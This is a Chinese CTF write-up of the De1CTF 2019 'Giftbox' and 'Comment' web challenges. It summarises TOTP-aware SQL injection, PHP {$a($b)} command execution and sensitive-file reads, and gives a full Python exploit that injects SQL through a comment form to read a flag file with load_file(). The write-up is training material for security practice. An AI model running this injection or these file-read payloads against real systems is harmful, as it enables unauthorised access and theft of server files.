刷题记录:[De1CTF 2019]Giftbox && Comment

题目复现链接:https://buuoj.cn/challenges

参考链接:De1CTF Web WriteUp

BUUCTF平台 web writeup 第三弹

一、知识点

1、sql注入 && totp

totp

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。 它已被采纳为Internet工程任务组标准RFC 6238,是Initiative for Open Authentication(OATH)的基石,并被用于许多双因素身份验证系统。

TOTP是基于散列的消息认证码(HMAC)的示例。 它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。

盲注时需要附上totp的值。这里学到另一个操作:在本地开个flask,负责转发消息到靶机,然后对本地服务跑sqlmap

2、RCE

{$a($b)}可以执行命令,a为函数名,b为参数。

有个地方要注意的是/不能直接传入,要用chr()转。

3、源码泄露

“据我长期观察,50%的CTF题目打开都是一个登陆页面,而其中又有60%的可以用各种方式拿到源码” ——P神

4、敏感文件读取

  • /etc/passwd 可以查看有没有什么多出来的用户或者别的提示
  • .bash_history 查看命令行历史操作

附上comment的exp,正则学的太烂了

import requests
import random
import re url = "http://3f0bfbea-efd6-4ea2-a298-7e51a05de258.node3.buuoj.cn" s = requests.session() def ran_str():
string = ""
for i in range(6):
string += chr(random.randint(ord('A'), ord('Z'))) return string def login():
data = {
"username": "zhangwei",
"password": "zhangwei666"
}
s.post(url + "/login.php", data=data) def write(payload):
ran_string = ran_str()
data = {
'title': ran_string,
'category': "',content=("+payload+"),/*",
'content': '1'
}
s.post(url + "/write_do.php?do=write", data=data)
return ran_string def comment(id):
data = {
'content': "*/#",
'bo_id': id
}
s.post(url + "/write_do.php?do=comment", data=data) def main():
payload = "select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))"
login()
ran_string = write(payload)
result = re.search("<tr><td>.*</td><td class='AutoNewline'>.*</td><td class='AutoNewline'>"+ran_string+"</td>", s.get(url).text)
id = str(result.group(0).split('</td>')[0][8:])
comment(id)
result = re.split("<p>", s.get(url + "/comment.php?id=" + str(id)).text)[2]
content = result[:result.index('</p>')]
print(content) if __name__ == '__main__':
main()

刷题记录:[De1CTF 2019]Giftbox && Comment的更多相关文章

  1. 刷题记录:[De1CTF 2019]SSRF Me

    目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...

  2. 刷题记录:[De1ctf] shell shell shell

    目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...

  3. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  4. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  5. 刷题记录:[CISCN 2019 初赛]Love Math

    目录 刷题记录:[CISCN 2019 初赛]Love Math 思路一 思路二 总结 刷题记录:[CISCN 2019 初赛]Love Math 题目复现链接:https://buuoj.cn/ch ...

  6. 刷题记录:[ByteCTF 2019]EZCMS

    目录 刷题记录:[ByteCTF 2019]EZCMS 一.知识点 1.源码泄露 2.MD5长度扩展攻击 3.php://filter绕过正则实现phar反序列化 刷题记录:[ByteCTF 2019 ...

  7. 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

    目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...

  8. 刷题记录:[ASIS 2019]Unicorn shop

    目录 刷题记录:[ASIS 2019]Unicorn shop 一.涉及知识点 1.Unicode安全问题 刷题记录:[ASIS 2019]Unicorn shop 题目复现链接:https://bu ...

  9. 刷题记录:[SUCTF 2019]Pythonginx

    目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...

随机推荐

  1. Java之路---Day12(多态)

    2019-10-26-22:40:09 目录: 1.多态的概念 2.多态的分类 3.实现多态的三个必要条件 4.多态的格式 5.多态成员变量的使用特点 6.多态成员方法的使用特点 7.多态的好处 8. ...

  2. HTML5 新增文本标签

    一.mark 标记文本 <mark> 标签定义带有记号的文本,表示页面中需要突出显示或高亮显示的信息. 通常在引用原文的时候使用 mark 元素,目的是引起当前用户的注意. 语法格式: & ...

  3. selenium登录简单的网站

    import time from selenium import webdriver from lxml import etree from selenium.webdriver import Act ...

  4. ubuntu17升级到18.04

    问题描述: ubuntu不是LTS长期支持的版本在支持期过了,没有apt源提供支持.所以需要升级到对应的LTS版本 问题解决: 实验环境: ubuntu17.10--->ubuntu18.04. ...

  5. Httpd服务入门知识-Httpd服务常见配置案例之配置持久连接

    Httpd服务入门知识-Httpd服务常见配置案例之配置持久连接 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.查看默认的持久连接时间 [root@node101.yinzhe ...

  6. 用 ConfigMap 管理配置

    1. ConfigMap介绍管理配置 ConfigMap介绍 Secret 可以为 Pod 提供密码.Token.私钥等敏感数据:对于一些非敏感数据,比如应用的配置信息,则可以用 ConfigMap ...

  7. FRP 中文文档

    https://github.com/fatedier/frp/blob/master/README_zh.md README | 中文文档 frp 是一个可用于内网穿透的高性能的反向代理应用,支持 ...

  8. reset.css文件下载及剖析

    @charset "utf-8"; /* http://meyerweb.com/eric/tools/css/reset/ v2.0-modified | 20110126 Li ...

  9. js动画---多物体运动

    对于多物体运动和单个物体运动来说,没有特别大的区别,实现原理基本上是一样的,都是通过定时器来实现的,但是多物体有一些地方需要注意,具体哪些需要注意,我将在下面的程序中说明. 首先,我们需要建立几个li ...

  10. js事件3-事件对象

    对于每次点击一个事件,都会产生一个事件对象,这个事件对象中包含了这个事件的很多信息 我们来看看事件对象具体有哪些信息 Object.onclick=function(e){ ..... }其中的参数e ...